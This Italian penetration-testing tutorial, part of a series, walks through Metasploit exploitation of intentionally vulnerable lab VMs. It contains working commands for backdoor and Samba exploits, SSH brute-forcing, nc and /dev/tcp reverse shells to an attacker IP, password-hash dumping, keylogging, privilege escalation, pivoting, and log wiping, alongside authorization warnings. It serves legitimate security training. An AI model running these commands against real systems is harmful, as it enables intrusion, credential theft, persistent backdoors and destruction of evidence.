Il Percorso dell'Hacker: Serie in 5 Parti
Parte 1: Introduzione → Parte 2: Padronanza del Flipper → Parte 3: Fondamenti di Kali → Parte 4: Exploitation → Parte 5: L'Audit Completo
Nelle Parti 1-3, avete costruito il vostro toolkit. Potete clonare badge, mappare reti, catturare handshake e identificare ogni servizio in esecuzione su un bersaglio. Vedete vulnerabilità ovunque ormai. Ma vedere una vulnerabilità e sfruttarla sono competenze molto diverse.
Qui le cose diventano serie. Oggi imparerete a usare il Metasploit Framework, lo stesso strumento utilizzato dai penetration tester professionisti in tutto il mondo. Sfrutterete la vostra prima vulnerabilità, stabilirete persistence, escalerete i privilegi e imparerete a fare pivot attraverso una rete.
La Linea che Non Devi Oltrepassare
Tutto in questo articolo deve essere praticato su sistemi che possedete o per cui avete esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato federale con pene fino a 20 anni di reclusione. "Stavo solo imparando" non è una difesa. Costruite un laboratorio, usate VM intenzionalmente vulnerabili e non toccate mai sistemi che non vi appartengono.
Parte 1: Costruire il Laboratorio d'Attacco
Prima di sfruttare qualsiasi cosa, avete bisogno di bersagli. I veri penetration tester usano ambienti di laboratorio isolati con macchine intenzionalmente vulnerabili. Farete lo stesso.
La Configurazione Essenziale del Laboratorio
Di Cosa Avrete Bisogno
- Kali Linux VM - La vostra macchina d'attacco (dalla Parte 3)
- Metasploitable 2 - VM Linux intenzionalmente vulnerabile (SourceForge)
- Metasploitable 3 - VM vulnerabile Windows/Linux (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Macchine vulnerabili in stile CTF (vulnhub.com)
Progetto: Configurazione della Rete del Laboratorio
Tempo: 45 minuti
- Scaricate Metasploitable 2 da SourceForge
- Importatelo in VirtualBox/VMware
- Configurate la rete: Impostate sia Kali che Metasploitable su "Host-Only" o "Internal Network"
- Avviate Metasploitable (login predefinito:
msfadmin/msfadmin) - Annotate l'indirizzo IP:
ifconfig - Da Kali, verificate la connettività:
ping METASPLOITABLE_IP - Eseguite la scansione iniziale:
sudo nmap -sV -sC METASPLOITABLE_IP
Verifica: Dovreste vedere decine di porte aperte. Metasploitable è progettato per essere compromesso.
La vostra scansione nmap di Metasploitable dovrebbe rivelare servizi come FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e altri, molti dei quali eseguono versioni obsolete e vulnerabili. Questo è il vostro campo di gioco.
Parte 2: Fondamenti del Metasploit Framework
Metasploit non è solo uno strumento. È un ecosistema. Contiene migliaia di exploit, payload, moduli ausiliari e strumenti di post-exploitation. Comprenderne la struttura è essenziale.
Avvio di Metasploit
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >La Struttura di Metasploit
Metasploit organizza tutto in moduli:
- Exploits - Codice che sfrutta le vulnerabilità
- Payloads - Codice che viene eseguito dopo l'exploitation (shell, meterpreter)
- Auxiliary - Scanner, fuzzer e altre utility
- Post - Moduli di post-exploitation per persistence, pivoting
- Encoders - Offuscamento dei payload per evadere il rilevamento
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoorIl Flusso di Lavoro dell'Exploitation
Ogni exploitation in Metasploit segue lo stesso schema:
- Selezionate un exploit -
use exploit/path/to/module - Impostate le opzioni - IP del bersaglio, porte, credenziali
- Selezionate un payload - Cosa viene eseguito dopo l'exploitation
- Eseguite -
exploitorun
Parte 3: Il Vostro Primo Exploit
Sfruttiamo una delle backdoor più famose della storia: la backdoor vsftpd 2.3.4. Nel 2011, qualcuno ha inserito una backdoor nel codice sorgente di vsftpd. Se inviate un nome utente che termina con :), si apre una shell sulla porta 6200.
Metasploitable 2 esegue esattamente questa versione.
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)Ecco fatto. Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.
Progetto: Sfruttare la Backdoor vsftpd
Tempo: 15 minuti
Prerequisiti: Metasploitable 2 in esecuzione, Kali sulla stessa rete
- Verificate che FTP sia in esecuzione:
nmap -sV -p 21 TARGET_IP - Avviate msfconsole
- Cercate, selezionate e configurate l'exploit vsftpd
- Eseguite l'exploit
- Una volta ottenuta la shell, esplorate:
cat /etc/shadow
Criteri di successo: Potete leggere /etc/shadow, accessibile solo da root.
Parte 4: Comprendere i Payloads
Un payload è ciò che viene eseguito dopo il successo dell'exploit. La shell base che abbiamo ottenuto sopra è semplice, ma Metasploit offre opzioni molto più potenti.
Tipi di Payload
- Singles - Payload autonomi, a colpo singolo (aggiunta utente, esecuzione comando)
- Stagers - Piccoli payload che stabiliscono una connessione, poi scaricano il payload principale
- Stages - Il payload principale scaricato dallo stager (Meterpreter)
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcpReverse vs Bind Shell
- Reverse shell - Il bersaglio si riconnette a voi. Migliore per aggirare i firewall (il traffico in uscita è generalmente permesso).
- Bind shell - Il bersaglio apre una porta a cui vi connettete. Più facile da rilevare, spesso bloccato dai firewall.
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploitMeterpreter: Il Payload Definitivo
Meterpreter è il payload più potente di Metasploit. Viene eseguito interamente in memoria (nessun file su disco), fornisce comunicazione crittografata e include decine di comandi integrati per il post-exploitation.
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo # System information
3meterpreter > getuid # Current user
4meterpreter > pwd # Current directory
5meterpreter > ls # List files
6meterpreter > download file # Download file to Kali
7meterpreter > upload file # Upload file to target
8meterpreter > shell # Drop to system shell
9meterpreter > hashdump # Dump password hashes
10meterpreter > screenshot # Take screenshot
11meterpreter > keyscan_start # Start keylogger
12meterpreter > keyscan_dump # Dump keystrokes
13meterpreter > background # Background this sessionParte 5: Altre Tecniche di Exploitation
Sfruttare Samba (SMB)
Metasploitable 2 esegue una versione vulnerabile di Samba. Questo è simile al famigerato exploit EternalBlue usato in WannaCry.
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 openedSfruttare Credenziali Deboli
Non ogni compromissione richiede una vulnerabilità software. Le password deboli sono ovunque.
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Exploitation di Applicazioni Web
Metasploitable include diverse applicazioni web vulnerabili. Sfruttiamo una PHP code injection.
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444Progetto: Sfruttare Tre Servizi Diversi
Tempo: 60 minuti
Bersaglio: Metasploitable 2
- Sfruttate la backdoor vsftpd (FTP - porta 21) e ottenete una root shell
- Sfruttate Samba usermap_script (SMB - porta 139/445) e ottenete una root shell
- Crackate le credenziali SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
- Documentate ogni exploitation: modulo usato, opzioni impostate, risultato
Bonus: Esplorate le applicazioni web sulla porta 80 e trovate vettori di exploitation manuali.
Parte 6: Post-Exploitation
Ottenere una shell è solo l'inizio. I veri penetration test richiedono di dimostrare cosa potrebbe fare un attaccante con quell'accesso. Questo è il post-exploitation.
Raccolta Informazioni
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer : metasploitable
4OS : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp1# From a regular shell
2cat /etc/passwd # All users
3cat /etc/shadow # Password hashes (requires root)
4cat /etc/hosts # Network mappings
5netstat -tulpn # Open ports
6ps aux # Running processes
7crontab -l # Scheduled tasksRaccolta Credenziali
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtStabilire la Persistence
Persistence significa mantenere l'accesso anche dopo riavvii o quando il vettore d'attacco iniziale è stato corretto.
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = Prove
Ogni meccanismo di persistence lascia tracce. In un vero penetration test, documentate cosa potreste fare, poi ripulite. Lasciare backdoor sui sistemi dei clienti è poco professionale e potenzialmente illegale. Nel vostro laboratorio, sbizzarritevi, ma comprendete le implicazioni.
Parte 7: Escalation dei Privilegi
Spesso si ottiene l'accesso iniziale come utente con bassi privilegi. L'escalation a root/admin è generalmente necessaria per raggiungere gli obiettivi del test.
Escalation dei Privilegi su Linux
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*Script di Enumerazione Automatizzati
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitableVettori Comuni di Privesc su Linux
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shellEscalation dei Privilegi su Windows
Se state testando bersagli Windows (Metasploitable 3), le tecniche sono diverse:
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploitProgetto: Escalation da Utente a Root
Tempo: 45 minuti
Scenario: Avete accesso SSH a Metasploitable come msfadmin (non root)
- SSH a Metasploitable:
ssh msfadmin@TARGET - Eseguite
idper confermare che non siete root - Controllate i permessi sudo:
sudo -l - Cercate binari SUID:
find / -perm -4000 2>/dev/null - Caricate ed eseguite LinPEAS
- Identificate un vettore di privesc e sfruttatelo
Obiettivo: Ottenere una root shell usando qualcosa di diverso dallo sfruttamento di un servizio di rete.
Parte 8: Pivoting
Il pivoting è l'uso di un sistema compromesso per attaccare altri sistemi che non sono direttamente raggiungibili dalla vostra macchina d'attacco. È così che gli attaccanti si muovono lateralmente attraverso le reti.
Lo Scenario di Pivot
Immaginate questa rete:
- Il vostro Kali: 192.168.1.100
- Host compromesso: 192.168.1.50 (connesso anche alla rete interna 10.0.0.0/24)
- Bersaglio: 10.0.0.10 (raggiungibile solo da 192.168.1.50)
Non potete raggiungere 10.0.0.10 direttamente. Ma attraverso l'host compromesso, potete.
Routing Metasploit
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploitSOCKS Proxy per Accesso Completo
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]SSH Tunneling (Senza Metasploit)
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444Parte 9: Coprire le Tracce
I penetration tester professionisti documentano il loro accesso ma ripuliscono dopo. Capire come gli attaccanti coprono le tracce aiuta anche a rilevare le intrusioni.
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"Negli Incarichi Reali: Non Fatelo
I pentester professionisti documentano il loro accesso e riportano le loro scoperte. Non le nascondono. Cancellare i log distrugge prove di cui i difensori hanno bisogno per comprendere il percorso d'attacco. Praticate queste tecniche solo nel vostro ambiente di laboratorio isolato.
Il Percorso dell'Hacker
Una serie in 5 parti che vi porta da curiosi a capaci.
Parte 1: Introduzione Parte 2: Padronanza del Flipper Parte 3: Fondamenti di Kali Parte 4: Exploitation ✓ Parte 5: Audit Completo
Checklist della Parte 4
☐ Setup Laboratorio: Metasploitable 2 in esecuzione, rete isolata configurata
☐ Metasploit: Database inizializzato, navigazione base padroneggiata
☐ Primo Exploit: Backdoor vsftpd sfruttata, root shell ottenuta
☐ Vettori Multipli: FTP, SMB sfruttati e credenziali SSH crackate
☐ Post-Exploitation: Hash delle password estratti, sistema enumerato
☐ Escalation Privilegi: Escalation da utente a root senza exploit di rete
☐ Pivoting: Comprensione dei concetti autoroute e SOCKS proxy
☐ Documentazione: Tutti gli exploit documentati con passaggi e prove
Cosa Viene Dopo
Avete imparato a sfruttare vulnerabilità, escalare privilegi e fare pivot attraverso le reti. Avete visto quanto velocemente una singola debolezza diventa una compromissione totale. Capite cosa fanno i penetration tester professionisti.
Nella Parte 5, mettiamo tutto insieme. Condurrete un audit di sicurezza completo dall'inizio alla fine:
- Ambito e regole di ingaggio
- Metodologia completa di ricognizione
- Exploitation sistematico
- Post-exploitation completo
- Reportistica professionale
- Raccomandazioni per la remediation
La Parte 5 è il coronamento. Tutto ciò che avete imparato in questa serie si unisce in una metodologia del mondo reale che potete usare per valutare la sicurezza di qualsiasi rete siate autorizzati a testare.
Avete imparato le tecniche. Ora imparate la metodologia. La Parte 5 trasforma le competenze in un flusso di lavoro completo di penetration testing.
Ci vediamo nella Parte 5.